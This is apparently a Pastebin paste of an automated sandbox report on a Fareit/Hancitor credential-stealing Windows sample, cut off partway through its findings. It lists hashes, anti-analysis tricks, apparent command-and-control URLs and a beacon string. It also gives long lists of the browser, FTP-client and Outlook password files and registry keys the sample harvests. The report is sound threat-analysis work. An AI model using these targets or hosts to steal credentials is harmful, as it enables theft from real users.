API tools faq
paste
paladin316

Exes_9a69378f63c39e0f3a148dd3767fa807_exe_2019-07-02_02_30.json

paladin316
Jul 1st, 2019
2,194
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 99.49 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: "Fareit"
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "Exes_9a69378f63c39e0f3a148dd3767fa807.exe"
  7. [*] File Size: 98816
  8. [*] File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
  9. [*] SHA256: "463714fb98a2d18aaa5b6b29782822b4971034de9ea9da06708974cabcc999aa"
  10. [*] MD5: "9a69378f63c39e0f3a148dd3767fa807"
  11. [*] SHA1: "85fdc5dafe3dbd3943afb07028eb183980a1f410"
  12. [*] SHA512: "621f8a96096250a8c15f419e34d7645323db2ae535cb12dca1742ac72107e227b55ce1f6b06e02ae3011a21cce3e2d77a84b499c8390ec8f0bb5f488e7f34cb5"
  13. [*] CRC32: "7439B201"
  14. [*] SSDEEP: "1536:n3JMPDRRJbkohUOyJZxCixXF/zSmEmO8BmAjE5SyRKSaB+ugNDr1XSk:nZMPlrbTANvxXF/tO8oA45iXgNDr1XSk"
  15.  
  16. [*] Process Execution: [
  17. "Exes_9a69378f63c39e0f3a148dd3767fa807.exe",
  18. "cmd.exe",
  19. "BN253C.tmp",
  20. "services.exe",
  21. "lsass.exe"
  22. ]
  23.  
  24. [*] Signatures Detected: [
  25. {
  26. "Description": "Creates RWX memory",
  27. "Details": []
  28. },
  29. {
  30. "Description": "A process attempted to delay the analysis task.",
  31. "Details": [
  32. {
  33. "Process": "Exes_9a69378f63c39e0f3a148dd3767fa807.exe tried to sleep 1440 seconds, actually delayed analysis time by 0 seconds"
  34. }
  35. ]
  36. },
  37. {
  38. "Description": "Drops a binary and executes it",
  39. "Details": [
  40. {
  41. "binary": "C:\\Users\\user\\AppData\\Local\\Temp\\BN253C.tmp"
  42. }
  43. ]
  44. },
  45. {
  46. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  47. "Details": [
  48. {
  49. "post_no_referer": "HTTP traffic contains a POST request with no referer header"
  50. },
  51. {
  52. "http_version_old": "HTTP traffic uses version 1.0"
  53. },
  54. {
  55. "suspicious_request": "http://totharduron.com/4/forum.php"
  56. },
  57. {
  58. "suspicious_request": "http://elcarrocafeny.com/wp-content/plugins/wp-symetrio/1"
  59. },
  60. {
  61. "suspicious_request": "http://totharduron.com/mlu/forum.php"
  62. },
  63. {
  64. "suspicious_request": "http://elcarrocafeny.com/wp-content/plugins/wp-symetrio/3"
  65. }
  66. ]
  67. },
  68. {
  69. "Description": "Performs some HTTP requests",
  70. "Details": [
  71. {
  72. "url": "http://api.ipify.org/"
  73. },
  74. {
  75. "url": "http://totharduron.com/4/forum.php"
  76. },
  77. {
  78. "url": "http://elcarrocafeny.com/wp-content/plugins/wp-symetrio/1"
  79. },
  80. {
  81. "url": "http://totharduron.com/mlu/forum.php"
  82. },
  83. {
  84. "url": "http://elcarrocafeny.com/wp-content/plugins/wp-symetrio/3"
  85. }
  86. ]
  87. },
  88. {
  89. "Description": "Looks up the external IP address",
  90. "Details": [
  91. {
  92. "domain": "api.ipify.org"
  93. }
  94. ]
  95. },
  96. {
  97. "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
  98. "Details": [
  99. {
  100. "Spam": "services.exe (500) called API GetSystemTimeAsFileTime 17037708 times"
  101. }
  102. ]
  103. },
  104. {
  105. "Description": "Steals private information from local Internet browsers",
  106. "Details": [
  107. {
  108. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal"
  109. },
  110. {
  111. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data"
  112. },
  113. {
  114. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal"
  115. },
  116. {
  117. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  118. }
  119. ]
  120. },
  121. {
  122. "Description": "A process sent information about the computer to a remote location.",
  123. "Details": [
  124. {
  125. "Beacon": "Exes_9a69378f63c39e0f3a148dd3767fa807.exe: GUID=13962714691609739288&BUILD=01_07_834832&INFO=Host @ Host\\user&IP=0.0.0.0&TYPE=1&WIN=6.1(x64)"
  126. }
  127. ]
  128. },
  129. {
  130. "Description": "Collects information about installed applications",
  131. "Details": [
  132. {
  133. "Program": "Google Update Helper"
  134. },
  135. {
  136. "Program": "Microsoft Excel MUI 2013"
  137. },
  138. {
  139. "Program": "Microsoft Outlook MUI 2013"
  140. },
  141. {
  142. },
  143. {
  144. "Program": "Google Chrome"
  145. },
  146. {
  147. "Program": "Adobe Flash Player 29 NPAPI"
  148. },
  149. {
  150. "Program": "Adobe Flash Player 29 ActiveX"
  151. },
  152. {
  153. "Program": "Microsoft DCF MUI 2013"
  154. },
  155. {
  156. "Program": "Microsoft Access MUI 2013"
  157. },
  158. {
  159. "Program": "Microsoft Office Proofing Tools 2013 - English"
  160. },
  161. {
  162. "Program": "Adobe Acrobat Reader DC"
  163. },
  164. {
  165. "Program": "Microsoft Office Proofing Tools 2013 - Espa\\xef\\xbf\\xb1ol"
  166. },
  167. {
  168. "Program": "Microsoft Publisher MUI 2013"
  169. },
  170. {
  171. "Program": "Outils de v\\xef\\xbf\\xa9rification linguistique 2013 de Microsoft Office\\xef\\xbe\\xa0- Fran\\xef\\xbf\\xa7ais"
  172. },
  173. {
  174. "Program": "Microsoft Office Shared MUI 2013"
  175. },
  176. {
  177. "Program": "Microsoft Office OSM MUI 2013"
  178. },
  179. {
  180. "Program": "Microsoft InfoPath MUI 2013"
  181. },
  182. {
  183. "Program": "Microsoft Office Shared Setup Metadata MUI 2013"
  184. },
  185. {
  186. "Program": "Microsoft Word MUI 2013"
  187. },
  188. {
  189. "Program": "Microsoft Groove MUI 2013"
  190. },
  191. {
  192. },
  193. {
  194. "Program": "Microsoft Access Setup Metadata MUI 2013"
  195. },
  196. {
  197. "Program": "Microsoft Office OSM UX MUI 2013"
  198. },
  199. {
  200. "Program": "Microsoft PowerPoint MUI 2013"
  201. },
  202. {
  203. "Program": "Microsoft Office Professional Plus 2013"
  204. },
  205. {
  206. "Program": "Adobe Refresh Manager"
  207. },
  208. {
  209. "Program": "Microsoft Office Proofing 2013"
  210. },
  211. {
  212. "Program": "Microsoft Lync MUI 2013"
  213. },
  214. {
  215. },
  216. {
  217. "Program": "Microsoft OneNote MUI 2013"
  218. }
  219. ]
  220. },
  221. {
  222. "Description": "File has been identified by 19 Antiviruses on VirusTotal as malicious",
  223. "Details": [
  224. {
  225. "FireEye": "Generic.mg.9a69378f63c39e0f"
  226. },
  227. {
  228. "McAfee": "Artemis!9A69378F63C3"
  229. },
  230. {
  231. "Invincea": "heuristic"
  232. },
  233. {
  234. "Avast": "Win32:Malware-gen"
  235. },
  236. {
  237. "Kaspersky": "UDS:DangerousObject.Multi.Generic"
  238. },
  239. {
  240. "Paloalto": "generic.ml"
  241. },
  242. {
  243. "Endgame": "malicious (high confidence)"
  244. },
  245. {
  246. "McAfee-GW-Edition": "Artemis!Trojan"
  247. },
  248. {
  249. "Webroot": "W32.Rogue.Gen"
  250. },
  251. {
  252. "Microsoft": "Trojan:Win32/Casur.A!cl"
  253. },
  254. {
  255. "AegisLab": "Trojan.Win32.Generic.4!c"
  256. },
  257. {
  258. "ZoneAlarm": "UDS:DangerousObject.Multi.Generic"
  259. },
  260. {
  261. "Acronis": "suspicious"
  262. },
  263. {
  264. "VBA32": "BScope.Trojan.Chanitor"
  265. },
  266. {
  267. "ESET-NOD32": "Win32/TrojanDownloader.Hancitor.L"
  268. },
  269. {
  270. "Rising": "Downloader.Hancitor!8.A19 (CLOUD)"
  271. },
  272. {
  273. "AVG": "Win32:Malware-gen"
  274. },
  275. {
  276. "CrowdStrike": "win/malicious_confidence_60% (W)"
  277. },
  278. {
  279. "Qihoo-360": "HEUR/QVM20.1.3D33.Malware.Gen"
  280. }
  281. ]
  282. },
  283. {
  284. "Description": "Harvests credentials from local FTP client softwares",
  285. "Details": [
  286. {
  287. "file": "C:\\Program Files (x86)\\CuteFTP\\sm.dat"
  288. },
  289. {
  290. "file": "C:\\Users\\user\\AppData\\Local\\CuteFTP\\sm.dat"
  291. },
  292. {
  293. "file": "C:\\Users\\user\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat"
  294. },
  295. {
  296. "file": "C:\\Users\\user\\AppData\\Roaming\\CuteFTP\\sm.dat"
  297. },
  298. {
  299. "file": "C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\sm.dat"
  300. },
  301. {
  302. "file": "C:\\ProgramData\\CuteFTP\\sm.dat"
  303. },
  304. {
  305. "file": "C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat"
  306. },
  307. {
  308. "file": "C:\\Users\\user\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat"
  309. },
  310. {
  311. "file": "C:\\Users\\user\\AppData\\Local\\FlashFXP\\4\\Sites.dat"
  312. },
  313. {
  314. "file": "C:\\ProgramData\\FlashFXP\\3\\Sites.dat"
  315. },
  316. {
  317. "file": "C:\\Users\\user\\AppData\\Local\\FlashFXP\\3\\Sites.dat"
  318. },
  319. {
  320. "file": "C:\\Users\\user\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat"
  321. },
  322. {
  323. "file": "C:\\ProgramData\\FlashFXP\\4\\Sites.dat"
  324. },
  325. {
  326. "file": "C:\\Users\\user\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat"
  327. },
  328. {
  329. "file": "C:\\Users\\user\\AppData\\Local\\FlashFXP\\3\\Quick.dat"
  330. },
  331. {
  332. "file": "C:\\ProgramData\\FlashFXP\\4\\Quick.dat"
  333. },
  334. {
  335. "file": "C:\\Users\\user\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat"
  336. },
  337. {
  338. "file": "C:\\Users\\user\\AppData\\Local\\FlashFXP\\4\\Quick.dat"
  339. },
  340. {
  341. "file": "C:\\Users\\user\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat"
  342. },
  343. {
  344. "file": "C:\\ProgramData\\FlashFXP\\3\\Quick.dat"
  345. },
  346. {
  347. "file": "C:\\Users\\user\\AppData\\Local\\FileZilla\\sitemanager.xml"
  348. },
  349. {
  350. "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\sitemanager.xml"
  351. },
  352. {
  353. "file": "C:\\ProgramData\\FileZilla\\sitemanager.xml"
  354. },
  355. {
  356. "file": "C:\\ProgramData\\FileZilla\\recentservers.xml"
  357. },
  358. {
  359. "file": "C:\\Users\\user\\AppData\\Local\\FileZilla\\recentservers.xml"
  360. },
  361. {
  362. "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\recentservers.xml"
  363. },
  364. {
  365. "file": "C:\\Users\\user\\AppData\\Local\\VanDyke\\Config\\Sessions\\*.*"
  366. },
  367. {
  368. "file": "C:\\Users\\user\\AppData\\Roaming\\VanDyke\\Config\\Sessions\\*.*"
  369. },
  370. {
  371. "file": "C:\\ProgramData\\VanDyke\\Config\\Sessions\\*.*"
  372. },
  373. {
  374. "file": "C:\\Users\\user\\AppData\\Roaming\\SmartFTP\\*.*"
  375. },
  376. {
  377. "file": "C:\\Users\\user\\AppData\\Local\\SmartFTP\\*.*"
  378. },
  379. {
  380. "file": "C:\\ProgramData\\SmartFTP\\*.*"
  381. },
  382. {
  383. "file": "C:\\Program Files (x86)\\Common Files\\Ipswitch\\WS_FTP\\*.*"
  384. },
  385. {
  386. "key": "HKEY_CURRENT_USER\\Software\\GlobalSCAPE\\CuteFTP 7 Professional\\QCToolbar"
  387. },
  388. {
  389. "key": "HKEY_CURRENT_USER\\Software\\GlobalSCAPE\\CuteFTP 9\\QCToolbar"
  390. },
  391. {
  392. "key": "HKEY_CURRENT_USER\\Software\\GlobalSCAPE\\CuteFTP 8 Professional\\QCToolbar"
  393. },
  394. {
  395. "key": "HKEY_CURRENT_USER\\Software\\GlobalSCAPE\\CuteFTP 8 Home\\QCToolbar"
  396. },
  397. {
  398. "key": "HKEY_CURRENT_USER\\Software\\GlobalSCAPE\\CuteFTP 6 Professional\\QCToolbar"
  399. },
  400. {
  401. "key": "HKEY_CURRENT_USER\\Software\\GlobalSCAPE\\CuteFTP 6 Home\\QCToolbar"
  402. },
  403. {
  404. "key": "HKEY_CURRENT_USER\\Software\\GlobalSCAPE\\CuteFTP 7 Home\\QCToolbar"
  405. },
  406. {
  407. "key": "HKEY_LOCAL_MACHINE\\Software\\Ghisler\\Windows Commander"
  408. },
  409. {
  410. "key": "HKEY_CURRENT_USER\\Software\\Ghisler\\Windows Commander"
  411. },
  412. {
  413. "key": "HKEY_CURRENT_USER\\Software\\Ghisler\\Total Commander"
  414. },
  415. {
  416. "key": "HKEY_LOCAL_MACHINE\\Software\\Ghisler\\Total Commander"
  417. },
  418. {
  419. "key": "HKEY_CURRENT_USER\\Software\\BPFTP\\Bullet Proof FTP\\Options"
  420. },
  421. {
  422. "key": "HKEY_CURRENT_USER\\Software\\BPFTP\\Bullet Proof FTP\\Main"
  423. },
  424. {
  425. "key": "HKEY_CURRENT_USER\\Software\\FileZilla"
  426. },
  427. {
  428. "key": "HKEY_LOCAL_MACHINE\\Software\\FileZilla"
  429. },
  430. {
  431. "key": "HKEY_CURRENT_USER\\Software\\FileZilla Client"
  432. },
  433. {
  434. "key": "HKEY_LOCAL_MACHINE\\Software\\FileZilla Client"
  435. },
  436. {
  437. "key": "HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites"
  438. },
  439. {
  440. "key": "HKEY_CURRENT_USER\\Software\\BulletProof Software\\BulletProof FTP Client\\Main"
  441. },
  442. {
  443. "key": "HKEY_CURRENT_USER\\Software\\BulletProof Software\\BulletProof FTP Client\\Options"
  444. }
  445. ]
  446. },
  447. {
  448. "Description": "Harvests information related to installed mail clients",
  449. "Details": [
  450. {
  451. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook"
  452. },
  453. {
  454. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings"
  455. },
  456. {
  457. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Port"
  458. },
  459. {
  460. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Password"
  461. },
  462. {
  463. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046"
  464. },
  465. {
  466. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9234ed9445f8fa418a542f350f18f326"
  467. },
  468. {
  469. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP User Name"
  470. },
  471. {
  472. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Password2"
  473. },
  474. {
  475. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTPMail Server"
  476. },
  477. {
  478. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTP Password"
  479. },
  480. {
  481. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Port"
  482. },
  483. {
  484. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTPMail Password2"
  485. },
  486. {
  487. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTP Server URL"
  488. },
  489. {
  490. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP User"
  491. },
  492. {
  493. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\cb23f8734d88734ca66c47c4527fd259"
  494. },
  495. {
  496. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Password2"
  497. },
  498. {
  499. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTPMail Password2"
  500. },
  501. {
  502. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTP Password"
  503. },
  504. {
  505. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001"
  506. },
  507. {
  508. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Server"
  509. },
  510. {
  511. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Email Address"
  512. },
  513. {
  514. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002"
  515. },
  516. {
  517. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Server"
  518. },
  519. {
  520. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Port"
  521. },
  522. {
  523. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Port"
  524. },
  525. {
  526. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP User"
  527. },
  528. {
  529. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Password2"
  530. },
  531. {
  532. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Password"
  533. },
  534. {
  535. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Password"
  536. },
  537. {
  538. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Port"
  539. },
  540. {
  541. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\Email"
  542. },
  543. {
  544. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8408552e6dae7d45a0ba01520b6221ff"
  545. },
  546. {
  547. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Password"
  548. },
  549. {
  550. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTPMail User Name"
  551. },
  552. {
  553. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2"
  554. },
  555. {
  556. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\240a97d961ed46428e29a3f1f1c23670"
  557. },
  558. {
  559. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Server"
  560. },
  561. {
  562. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Email Address"
  563. },
  564. {
  565. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\c02ebc5353d9cd11975200aa004ae40e"
  566. },
  567. {
  568. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP User Name"
  569. },
  570. {
  571. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP User Name"
  572. },
  573. {
  574. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Password"
  575. },
  576. {
  577. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
  578. },
  579. {
  580. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP User Name"
  581. },
  582. {
  583. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP User"
  584. },
  585. {
  586. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 User"
  587. },
  588. {
  589. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\b22783abb139fe46b0aad551d64b60e7"
  590. },
  591. {
  592. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTP User"
  593. },
  594. {
  595. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001"
  596. },
  597. {
  598. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook"
  599. },
  600. {
  601. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 User Name"
  602. },
  603. {
  604. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Server"
  605. },
  606. {
  607. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Password"
  608. },
  609. {
  610. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP User"
  611. },
  612. {
  613. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTPMail Server"
  614. },
  615. {
  616. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Server"
  617. },
  618. {
  619. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Password2"
  620. },
  621. {
  622. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Password2"
  623. },
  624. {
  625. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook"
  626. },
  627. {
  628. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 User"
  629. },
  630. {
  631. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Password2"
  632. },
  633. {
  634. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Server"
  635. },
  636. {
  637. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Server"
  638. },
  639. {
  640. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Email Address"
  641. },
  642. {
  643. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Password2"
  644. },
  645. {
  646. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\Email"
  647. },
  648. {
  649. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Password2"
  650. },
  651. {
  652. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Email Address"
  653. },
  654. {
  655. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP User Name"
  656. },
  657. {
  658. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 User Name"
  659. },
  660. {
  661. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTP Server URL"
  662. },
  663. {
  664. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Password"
  665. },
  666. {
  667. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTPMail User Name"
  668. },
  669. {
  670. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a"
  671. },
  672. {
  673. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Port"
  674. },
  675. {
  676. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046"
  677. },
  678. {
  679. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP User Name"
  680. },
  681. {
